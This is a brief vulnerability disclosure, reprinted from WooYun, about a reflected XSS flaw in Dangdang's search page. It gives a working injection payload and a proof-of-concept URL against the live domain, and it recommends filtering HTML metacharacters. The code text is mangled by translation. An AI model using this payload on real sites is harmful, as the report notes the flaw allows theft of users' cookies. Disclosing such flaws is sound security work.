Dangdang reflected xss

Brief description: Dangdang reflected xss, which allows users to obtain cookies.
Detailed Description: One of the search keywords submitted by the user is directly output to the js Code section without filtering, resulting in injection of custom js Code:
Submit F', true, 1); alert (1); //, that is
Http://searchb.dangdang.com /? Key = f', true, 1); alert (1 );//:
 
<Script type = "text/javascript">
 
$ (Document). ready (function (){
 
DD_ADSMART.fetchCPM (11348, "new ");
 
DD_ADSMART.fetchCPTSlide (11366, 11367, 11369, 11369, 4, "newsearch", false );
 
DD_ADSMART.fetchCPTSlide (11278,11279, 11280,11281, 4, "newsearch", true );
 
DD_ADSMART.fetchCPTSlide (11391,11392, 0,0, 4, "multysearch ");
 
DD_ADSMART.fetchCPC (0, 0, 'testf', true, 1); alert (1) // ', true, 1 );
 
S ('view', 'testf % 27% 2 Ctrue % 2C1% 29% 3 Balert % 281% 29% 2F % 2F ','','','','', '0 _ 30', '0 _ 0_0_n ','','','');
 
});
 
</Script>
 
Proof of vulnerability: http://searchb.dangdang.com /? Key = testf', true, 1); alert (1 );//
 
 
 
Solution: filter html metacharacters
Copyright Disclaimer: Reprinted with the source pentest @ wooyun